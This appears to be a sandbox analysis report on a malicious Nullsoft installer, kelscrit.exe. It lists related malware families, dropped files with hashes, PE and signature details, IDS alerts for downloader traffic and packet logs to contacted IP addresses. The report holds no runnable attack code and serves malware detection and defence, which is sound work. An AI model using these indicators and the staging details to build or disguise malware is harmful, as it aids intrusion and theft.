37f463bf4616ecd445d4a1937da06e19	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.19.238 142.250.181.129
	1013911.js	Get hash	malicious	FormBook	Browse	172.217.19.238 142.250.181.129
	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	dFezsjdHtg.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	pjAYMCVbvK.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	MyLUNcS8wx.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	172.217.19.238 142.250.181.129
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, RHADAMANTHYS, Stealc, Vidar	Browse	172.217.19.238 142.250.181.129
	00onP4lQDK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.217.19.238 142.250.181.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll	FiddlerSetup.5.0.20245.10105-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	HHn9tNeZd8.exe	Get hash	malicious	GuLoader	Browse
	wmKmOQ868z.exe	Get hash	malicious	FormBook, GuLoader	Browse
	qmt875Vf1A.exe	Get hash	malicious	GuLoader	Browse
	wmKmOQ868z.exe	Get hash	malicious	FormBook, GuLoader	Browse
	qmt875Vf1A.exe	Get hash	malicious	GuLoader	Browse
	czffIfANiL.exe	Get hash	malicious	GuLoader	Browse
	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse
	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse
	eXaiza8cQ5.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\kelscrit.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.804946284177748
Encrypted:	false
SSDEEP:	192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
MD5:	192639861E3DC2DC5C08BB8F8C7260D5
SHA1:	58D30E460609E22FA0098BC27D928B689EF9AF78
SHA-256:	23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
SHA-512:	6E573D8B2EF6ED719E271FD0B2FD9CD451F61FC9A9459330108D6D7A65A0F64016303318CAD787AA1D5334BA670D8F1C7C13074E1BE550B4A316963ECC465CDC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FiddlerSetup.5.0.20245.10105-latest.exe, Detection: malicious, Browse Filename: HHn9tNeZd8.exe, Detection: malicious, Browse Filename: wmKmOQ868z.exe, Detection: malicious, Browse Filename: qmt875Vf1A.exe, Detection: malicious, Browse Filename: wmKmOQ868z.exe, Detection: malicious, Browse Filename: qmt875Vf1A.exe, Detection: malicious, Browse Filename: czffIfANiL.exe, Detection: malicious, Browse Filename: 0GuwV0t2UU.exe, Detection: malicious, Browse Filename: 0GuwV0t2UU.exe, Detection: malicious, Browse Filename: eXaiza8cQ5.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....C.f...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

Download File

Process:	C:\Users\user\Desktop\kelscrit.exe
File Type:	Matlab v4 mat-file (little endian) X, numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	376884
Entropy (8bit):	1.2538694993882065
Encrypted:	false
SSDEEP:	1536:eTJcpruMcjYX8Jf2lBD7XWqllCEYyZB0mFS04:eJcpPIYX8JonFS3
MD5:	943DE1999A45C6772E1F2FB9E1803546
SHA1:	542FC5B588D85BB0E7FCEED47789836A9C428984
SHA-256:	1CCAB41F428AAB780F43CA2C25EB80A63755BD7977DFF975ED662FDB9672D515
SHA-512:	A6AC5B8C7A1DBC2F06888E0F9285A6E1BD39A6C35E021BB5E3DC179E1EA176BEDDC7AD8C49CAEDDD7E10E232F980C7186E05DB890E001BA481E24E9D7EE4C434
Malicious:	false
Reputation:	low
Preview:	..................0.X.........(.................;..........P...................S..........................................................................................m.......................................................................................................................n..........+.........v...................J...............'...........................................................i.......6........!.E................a...........................'....u....L......W...............................................................................................J................................................................~.................,..........................................n.................. .....................................................................................................................P......a.......T.......................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Domspraksisene.fur

Download File

Process:	C:\Users\user\Desktop\kelscrit.exe
File Type:	data
Category:	dropped
Size (bytes):	36384
Entropy (8bit):	4.5751400451185225
Encrypted:	false
SSDEEP:	384:LI22QmqJYG7Wc52RflZrLl88XZ3EBvrQ6bmdiCRu7IQAHOh2bAdTUXjIvTwybUkf:Ln2lG152RXrLz0dnxCRuIuh20DV4oKW
MD5:	5C5F235A06DB631E42EA571472331E0A
SHA1:	DE93A8E0DC3F54BBB96111657BB216275F16B177
SHA-256:	7C303701F4A612A33A9BA94E37381ACCE8D316B1AAB32B46CA73100E3A8FAA8E
SHA-512:	3C1C6FB7784D926EEE7ED7ACEBD50125F00BC7791D8B4BD6582D7C40350870295FEA38FDA7FECF948DBFA599B48DFB65041C266126C1DC6851FD39344025DE6F
Malicious:	false
Reputation:	low
Preview:	.............b...OO.UU..............NNN.................EEE...d..........333333................k.................v...n............ss..FFFFF..........^............^^^^.l..........+......e......22222222...................t...............aa.....Q......::...........ggg..$.......r.........?........EEE.I....6........................................X...5................n.......g.....N...Q....\|\|\|\|\|\|\|.........j......QQ........5....................f...nnn......e........(...........LL.....SSS..............b......?...........;;.dddd...........222.....l......._...>...........^^^.......o......P..................................wwww..........3.yyyyyyy............VV........::....c.....SSSS....ZZZ.......@@....NN.............66.hh...2......[..uu......................g.........zzz.]]..Q.................uu..................:..........D.q..___......v....7.=........ff.......W.333.zz...T.......d.OOO.G...V.3..mmmm..:..UU..........Z.88............................M..........8888.D.\...........d.\\.........C....

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Nesokia.Hyp

Download File

Process:	C:\Users\user\Desktop\kelscrit.exe
File Type:	data
Category:	dropped
Size (bytes):	213621
Entropy (8bit):	7.319175283842871
Encrypted:	false
SSDEEP:	3072:7Qytk7gtDECfjfwR3e6q+enVbqaad2Uv0HPpG/T0Ojg9DUgTIfEmp+PoU:9ugtoCfjfwo6qlOaad21PPk6DUgTihU
MD5:	DAC76EC711E03B6BA110D3F114B0017B
SHA1:	2481DA9A75D753116B70CBDB61FED40921CCB35C
SHA-256:	13BC5799615F8ADC24833395CEA02BBD50BCACEF4FBD815350E9A376C89EB9D9
SHA-512:	F37E94D9DEADBFA0A176CC33CE88C0683C5AF720C9364565E0E45DBC342750CB99A18E6EA2D976C448184D68831144F585C8B60C6E9BEEB050B38A2BCDF891D0
Malicious:	false
Reputation:	low
Preview:	...Z..........................ii..H...=.F.F.....H.**.....FFF.....44.................../....0.%%%..}}.zzz.....U.----............w..............3..bb.DDDD....___.........P........................................ii......... .................n.XXX............@.<.........{..77....YY.................................\\.+.......h..I........&............===....C.nn.....A.```...............l.b.CC....OO..............................."....R...+...........................OO...........{{.+............$$......................w.....%....q.--.'''''..........''....yy...................jj......................AAAAAA.................<<.>>.`............RR.q...........................\|.).!...........!!.............................MM.nn.......HHH.H..............+.................,.........v...................J..........[..............s..........6.=.....]......t..........DDD..~.......??..b....................TTT...rrr........ss.............I......p......................\|\|./....))....%...............R.....3...

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Download File

Process:	C:\Users\user\Desktop\kelscrit.exe
File Type:	data
Category:	dropped
Size (bytes):	437967
Entropy (8bit):	1.2496824675371185
Encrypted:	false
SSDEEP:	768:YszAIbEHsrUdiWwGdV5C+P4/1F93McF1TWcY7hYu4nR/CFxofOrNYSOq5HGieGwO:YJkFhJAhX55ckvF4ULrV2Ehr3gra5
MD5:	0695A340DE7C3F5F45036C9C9EAFDBD2
SHA1:	D741BBBBFAD62B1D85E87CEDD3F344F4062C33D6
SHA-256:	0020F3470C29CAC49F8521309D6DA437EC6F71B2F5BD41A7B5DD88788B5AC25F
SHA-512:	D2668C1016BBE3DF9CE638D834AA13CC1100D4B85FCB4AC7396DA8166B50F0B2AF0A9025BA35D54A865EC87F356EEEB7A577B000B9B50F8ECC996B3E798CF145
Malicious:	false
Reputation:	low
Preview:	....Z...................................,.............O............2............................N...........J................................................................M..v..H...........................E.......K............................S..........T.......=............#.............................-...............................8.................................'......................0.................................t....................................0....................6..................\|.......................................................;...............=................................K..............................................................................W..........{....................`............................................................................\|...................................................................w....T................S............................y...........x......................J.......................................1......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.395594363390988
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	kelscrit.exe
File size:	576'616 bytes
MD5:	64ea70b77e9654021dfe4c5b42a788db
SHA1:	ff668253991db29fa83a93a962654a2a13cc87ba
SHA256:	919036bc72056762803c599929ee33811f1c9a13f55c571008b57b20b638c54b
SHA512:	7ebdbe6ff9e14ec408f52611962af70f24136ee6976a4239f636971d778d9d3491188ccb18c5908f0c69bace9c115dc909a199bec9c74b44ada381c4f8a4429b
SSDEEP:	12288:7fYfUlNHYh6qFkbpBOO64kfPZxIgL3lweEbH+aB:7fYMPYc/FHkfhxIgZQH9B
TLSH:	13C4F0197614AC52C0EC10354BDCDE7B07634FAA2B78521B73D4BEAD7AB8B859931323
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j.........

File Icon


Icon Hash:	016c4c4ebe99dd65

Static PE Info

General

Entrypoint:	0x403552
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843FB [Sat Mar 30 16:55:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Gop, O=Gop, L=Cotulla, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	05/04/2024 04:10:27 05/04/2027 04:10:27
Subject Chain	CN=Gop, O=Gop, L=Cotulla, C=US
Version:	3
Thumbprint MD5:	8C290E0E301D1B3591F3280DDE503E9B
Thumbprint SHA-1:	F1881B04600004E7A8537DF7FBDBD407AE19F3F3
Thumbprint SHA-256:	6823316D0B233AC3B0E5E9D63A613F0F59F6FB4BFD6AD705C006C891E09A4D70
Serial:	7DDD097E69919D7ABD3106DD2F89E2FF207998ED

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F50C8DF176Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F50C8DF1738h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x68000	0x2ac78	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8c390	0x8d8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68f8	0x6a00	595406ea4e71ef6f8675a1bd30bcc8f9	False	0.6703272405660378	data	6.482222402519068	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	7a91ec9f1c18e608c3f3f503ba4191c1	False	0.5221354166666666	data	4.165541189894117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x33000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x68000	0x2ac78	0x2ae00	07533466c1ba02253abde419e160f487	False	0.43160076530612246	data	5.193823090904089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x68448	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.3483526558618242
RT_ICON	0x78c70	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.44647361782636114
RT_ICON	0x82118	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4737060998151571
RT_ICON	0x875a0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.44355219650448746
RT_ICON	0x8b7c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5286307053941909
RT_ICON	0x8dd70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5811444652908068
RT_ICON	0x8ee18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5748933901918977
RT_ICON	0x8fcc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6860655737704918
RT_ICON	0x90648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7224729241877257
RT_ICON	0x90ef0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.49146341463414633
RT_ICON	0x91558	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5440751445086706
RT_ICON	0x91ac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7668439716312057
RT_ICON	0x91f28	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6263440860215054
RT_ICON	0x92210	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.7128378378378378
RT_DIALOG	0x92338	0x100	data	English	United States	0.5234375
RT_DIALOG	0x92438	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x92558	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x925b8	0xca	data	English	United States	0.6237623762376238
RT_VERSION	0x92688	0x2b0	data	English	United States	0.5232558139534884
RT_MANIFEST	0x92938	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T10:12:11.418043+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49758	172.217.19.238	443	TCP
2024-12-03T10:12:19.259208+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49780	158.101.44.242	80	TCP
2024-12-03T10:12:21.852983+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49780	158.101.44.242	80	TCP
2024-12-03T10:12:23.574594+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49792	172.67.177.134	443	TCP
2024-12-03T10:12:25.040506+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49797	158.101.44.242	80	TCP
2024-12-03T10:12:26.735547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49799	172.67.177.134	443	TCP
2024-12-03T10:12:39.264739+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	172.67.177.134	443	TCP
2024-12-03T10:12:45.562160+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49855	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:12:08.718403101 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:08.718455076 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:08.718556881 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:08.756767035 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:08.756802082 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:10.502590895 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:10.502707958 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:10.503388882 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:10.503479004 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:10.608354092 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:10.608383894 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:10.608757973 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:10.608851910 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:10.656474113 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:10.699341059 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:11.418054104 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:11.418143988 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:11.418169975 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:11.418181896 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:11.418214083 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:11.418231964 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:11.427303076 CET	49758	443	192.168.2.4	172.217.19.238
Dec 3, 2024 10:12:11.427340031 CET	443	49758	172.217.19.238	192.168.2.4
Dec 3, 2024 10:12:11.592478991 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:11.592534065 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:11.592597961 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:11.597354889 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:11.597366095 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:13.340526104 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:13.340735912 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:13.344409943 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:13.344424009 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:13.344659090 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:13.344717026 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:13.345074892 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:13.391351938 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.230391979 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.230463982 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.244985104 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.245053053 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.350290060 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.350471973 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.354278088 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.354331970 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.354381084 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.354424953 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.431504011 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.432718039 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.433748960 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.433793068 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.441293955 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.446912050 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.446921110 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.448065042 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.448997021 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.449609995 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.451137066 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.451419115 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.458802938 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.461878061 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.461904049 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.461944103 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.467566967 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.469625950 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.469650030 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.469696999 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.476437092 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.478899956 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.478920937 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.478967905 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.483032942 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.485872984 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.492120028 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.494117975 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.494812012 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.494856119 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.505734921 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.505880117 CET	49764	443	192.168.2.4	142.250.181.129
